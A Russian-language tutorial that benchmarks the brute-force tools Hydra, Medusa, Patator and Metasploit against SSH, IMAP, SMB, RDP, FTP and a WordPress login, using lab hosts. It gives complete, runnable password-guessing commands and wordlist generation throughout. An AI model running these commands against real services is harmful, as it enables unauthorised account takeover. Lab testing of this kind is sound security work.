Перебор паролей от SSH до Web
overlamer1Брутфорс обычно используется в контексте хакерских атак, когда злоумышленник пытается получить имя пользователя / пароль для учетной записи или службы. Рассмотрим инструменты, которые можно использовать для атаки методом перебора: Hydra 8.6, Medusa 2.2, Patator 0.7 и Metasploit Framework 4.17.17-dev, которые являются частью Kali Linux 2019.1. В зависимости от поддерживаемых протоколов мы будем использовать наиболее подходящие инструменты. Мы сгенерируем пароль и пользовательский словарь самостоятельно, используя Crunch.
Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.
Генерация словаря
Crunch
Словарь с пользователями мы взяли небольшой и записали в него 4 пользователя.

Для компиляции словаря Crunch используется как встроенный инструмент. Инструмент гибкий и может составить словарь для определенной маски. Если существует вероятность, что пользователь может использовать пароль словаря, то лучше использовать готовые решения, тем более что, как показывает практика, самый популярный пароль - 123456.
Мы сгенерируем словарь из 5 символов по маске. Этот метод подходит для случаев, когда у нас есть представление о структуре пароля пользователя.
crunch 5 5 qwe ASD 1234567890 -t @@,%@ -o /root/wordlist.txt
5 – минимальное и максимальное количество символов;
qwe, ASD, 1234567890 – используемые символы;
-t – ключ, после которого указывается маска для составления пароля;
@ – нижний регистр;
, – верхний регистр;
% – цифры.
Сразу отметим, что на первых этапах мы будем для каждого инструмента описывать используемые ключи, но далее те же самые ключи уже не будут рассматриваться подробно, поскольку они крайне похожи друг на друга, а значит, имеют аналогичный синтаксис.
SSH
Patator
patator ssh_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:mesg=’Authentication failed’
ssh_login – модуль;
host – наша цель;
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора;
password – словарь с паролями;
-x ignore:mesg=’Authentication failed’ – не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.
Все инструменты мы тестируем с количеством потоков по умолчанию, никаким образом их количество не изменяем.
Patator справился ровно за 7 минут 37 секунд, перебрав 2235 вариантов.

Hydra
hydra -f -L /root/username -P /root/wordlist.txt ssh://192.168.60.50
-f – остановка перебора после успешного подбора пары логин/пароль;
-L/-P – путь до словаря с пользователями/паролями;
ssh://IP-адрес – указание сервиса и IP-адреса жертвы.
Hydra затратила на перебор 9 минут 11 секунд.

Medusa
medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M ssh
-h – IP-адрес целевой машины;
-U/-P – путь к словарям логинов/паролей;
-М – выбор нужного модуля.
Medusa за 25 минут обработала только 715 комбинаций логин/пароль, поэтому данный инструмент не лучший выбор в случае с брутфорсом SSH.
Metasploit
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login
Задействуем модуль:
use auxiliary/scanner/ssh/ssh_login
Для просмотра необходимых параметров воспользуемся командой «show options». Для нас это:
rhosts – IP-адрес жертвы;
rport – порт;
user_file – путь до словаря с логинами;
pass_file – путь до словаря c паролями;
stop_on_success – остановка, как только найдется пара логин/пароль.
По умолчанию Metasploit использует 1 поток, поэтому и скорость перебора с использованием этого модуля очень низкая. За 25 минут так и не удалось подобрать пароль.
IMAP
Patator
patator imap_login host=192.168.100.109 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=1
imap_login – используемый модуль;
-x – параметр, который помогает фильтровать ответы от Patator. В данном случае игнорируем ответы с кодом 1.
Параметр x уникален для каждого конкретного случая, поэтому рекомендуется сначала запустить инструмент без него и посмотреть, какие ответы приходят чаще всего, а затем проигнорировать их.
В результате Patator смог восстановить пароль за 9 минут 28 секунд, что практически соответствует показателю SSH.

Hydra
hydra -f imap://192.168.60.50 -L /root/username -P /root/wordlist.txt
Hydra справилась за 10 минут 47 секунд, что довольно неплохо.

Medusa
В связи с тем, что на сервере использовался самоподписанный сертификат, Medusa выдавала ошибку, исправить которую настройками инструмента не удалось.

Metasploit
В Metasploit не удалось подобрать подходящий модуль для брутфорса IMAP.
SMB
Patator
При использовании Patator появилось большое количество ложных срабатываний.
Hydra
hydra -L /root/username -P /root/wordlist.txt 192.168.60.50 smb
Благодаря своим алгоритмам Hydra справилась с задачей всего за 5 секунд.

Medusa
medusa -h 192.168.60.50 -U /root/username -P /root/wordlist.txt -M smbnt
Запуская перебор, я ожидал результатов, схожих с предыдущими, но на этот раз Medusa меня приятно удивила, отработав за считанные секунды.

Metasploit
С помощью поиска search smb_login находим нужный модуль scanner/smb/smb_login и применяем его.
Необходимо указать параметры:
RHOSTS – IP-адрес жертвы;
USER_FILE – словарь с пользователями;
PASS_FILE – словарь с паролями;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль.
Metasploit справился с задачей за 1 минуту.

RDP
Patator
patator rdp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=132
К сожалению, на данный момент из тестируемых инструментов только Patator может подбирать логин/пароль для RDP-протокола. При этом, даже если Patator и справился с поставленной задачей, в выводе дополнительно появилось ложное срабатывание.

WEB
Во-первых, нам нужно понять, как работает процесс аутентификации.
Для этого отправьте запросы аутентификации на аутентификацию, и уже по поведению веб-приложения вы увидите, что неверный пароль возвращает код ответа 200, а успешная аутентификация - 302. Мы будем полагаться на эту информацию.
Patator
Учитывая ответы веб-приложения на тестовые запросы, составим команду для запуска Patator:
patator http_fuzz url=http://site.test.lan/wp-login.php method=POST body='log=FILE0&pwd=FILE1&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1' 0=/root/username 1=/root/wordlist.txt before_urls=http://site.test.lan/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz – модуль для brute-force атаки HTTP;
url – адрес страницы с аутентификацией;
FILE0 – путь до словаря с паролями;
body – информация, которая передается в POST запросе при аутентификацией;
-x – в данном случае мы указали команду не выводить на экран сообщения, содержащие параметр с кодом 200;
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос;
Итог — нам удалось подобрать пароль чуть менее, чем за 30 секунд, что очень быстро.

Hydra
Как мы уже знаем, при неверной аутентификации возвращается код 200, а при успешной — 302. Воспользуемся этой информацией и выполним команду:
hydra -f -L /root/username -P /root/wordlist.txt http-post-form://site.test.lan -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1:S=302"
Здесь мы указываем обязательные параметры:
-f – завершить перебор после получения валидной пары логин/пароль;
-L – словарь с пользователями;
-P – словарь с паролями;
http-post-form – тип формы (в нашем случае POST);
/wp-login.php – URL страницы с аутентификацией;
^USER^ – показывает куда подставлять имя пользователя;
^PASS^ – показывает куда подставлять пароль из словаря;
S=302 – указание на какой ответ опираться Hydra (в нашем случае — ответ 302 при успешной аутентификации).
Успех ожидал нас уже через 3 минуты 15 секунд.

Medusa
medusa -h site.test.lan -U /root/username -P /root/wordlist.txt -M web-form -m FORM:"/wp-login.php" -m FORM-DATA:"post?log=&pwd=&wp-submit=Log+In&redirect_to=http%3A%2F%2Fsite.test.lan%2Fwp-admin%2F&testcookie=1"
К сожалению, при попытках перебора пароля Medusa выдает ошибку «Segmentation fault».

Metasploit
С помощью поиска search wordpress_login находим нужный модуль auxiliary/scanner/http/wordpress_login_enum и применяем его. Необходимо указать параметры:
PASS_FILE – словарь с паролями;
RHOSTS – адрес жертвы;
STOP_ON_SUCCESS – остановка после подобранной пары логин/пароль;
USER_FILE – словарь с пользователями;
VALIDATE_USERS – отключить проверку существования учетной записи пользователя;
VERBOSE – отключить лишний вывод;
VHOST – доменное имя атакуемого сайта.
Затраченное время — 32 секунды.

FTP
Patator
patator ftp_login host=192.168.60.50 user=FILE0 password=FILE1 0=/root/username 1=/root/wordlist.txt -x ignore:code=530
В данном модуле Patator работает уже медленнее, чем с Web-формами, а пароль был подобран за 11 минут 20 секунд.

Hydra
hydra -f -L /root/username -P /root/wordlist.txt ftp://192.168.60.50
Работая по умолчанию в 16 потоков, Hydra смогла перебрать пароли за 7 минут 55 секунд.

Metasploit, Medusa
В Metasploit используем модуль auxiliary/scanner/ftp/ftp_login
В случае с Medusa запрос выглядит следующим образом:
medusa -f -M ftp -U /root/username -P /root/wordlist.txt -h 192.168.60.50
Все параметры являются стандартными, укажите путь к словарям и обязательно определите конец поиска после найденной пары идентификатор / пароль.
С этим протоколом, как и с SSH, Metasploit и Medusa плохо управляются со стандартным количеством потоков. Поэтому, если вы хотите использовать эти инструменты точно, вы должны вручную увеличить количество потоков. Но здесь все не так просто. В однопоточном режиме FTP-сервер, использующий эти инструменты, прерывал соединение, чего не наблюдалось при использовании Patator или Hydra. Поэтому вполне вероятно, что увеличение количества потоков не изменит ситуацию.
заключение
После тестирования разных, но в то же время схожих инструментов на разных сервисах, мы можем сказать, что у каждого из них есть как преимущества, так и недостатки, и вам решать, с каким инструментом работать.